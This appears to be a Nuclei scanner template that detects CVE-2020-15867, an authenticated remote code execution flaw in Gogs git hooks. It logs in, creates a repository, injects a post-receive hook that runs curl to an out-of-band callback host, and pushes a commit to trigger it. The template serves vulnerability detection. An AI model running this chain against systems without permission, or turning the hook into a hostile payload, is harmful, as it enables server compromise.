2023-03-18 22:07:09 +00:00
id : CVE-2020-15867
info :
name : Gogs Git Hooks - Remote Code Execution
author : theamanrawat
severity : high
description : |
The git hook feature in Gogs 0.5.5 through 0.12.2 allows for authenticated remote code execution. There can be a privilege escalation if access to this hook feature is granted to a user who does not have administrative privileges.
reference :
- https://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-15867
2023-03-20 07:05:15 +00:00
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
- http://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
2023-03-18 22:07:09 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2020-15867
metadata :
verified : "true"
tags : cve,cve2020,rce,gogs,git,authenticated,packetstorm
requests :
- raw :
- |
GET /user/login HTTP/1.1
Host : {{Hostname}}
- |
POST /user/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/create HTTP/1.1
Host : {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&private=on&description=&gitignores=&license=&readme=Default&auto_init=on
- |
POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
- |
GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host : {{Hostname}}
- |
POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "http"
- type : word
part : body_1
words :
- 'content="Gogs'
extractors :
- type : regex
name : csrf
group : 1
regex :
- 'name="_csrf" value="(.*)"'
internal : true
- type : regex
name : auth_csrf
group : 1
regex :
- 'name="_csrf" content="(.*)"'
internal : true
- type : regex
name : last_commit
group : 1
regex :
- 'name="last_commit" value="(.*)"'
internal : true